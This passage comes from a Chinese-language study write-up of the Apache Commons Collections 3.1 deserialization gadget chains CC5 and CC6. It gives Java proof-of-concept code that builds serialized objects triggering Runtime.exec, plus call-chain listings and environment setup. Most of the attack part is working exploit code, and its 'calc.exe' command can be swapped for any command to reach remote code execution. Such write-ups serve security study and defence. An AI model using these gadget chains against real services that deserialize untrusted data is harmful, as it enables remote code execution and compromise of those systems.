Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}
调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC6
cc5+urldns
环境搭建
java8
commons-collections 3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
调用分析
解决过程中弹出计算器问题:
Java反序列化CC6链 —— 逐步EXP编写 - FreeBuf网络安全行业门户
和cc5不太一样的就是入口这里,看到HashSet的readobject

然后调用了map.put

然后调用了hash方法

然后是hashcode

这里key传入可以为TiedMapEntry,那么跟进hashcode

可以看到这里用了getvalue方法,就是和cc5后面的一样
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc.exe",}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
调用链
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
总结
大部分分析都是和网上差不多,这里感觉还是有点乱,以后再完善一下。。。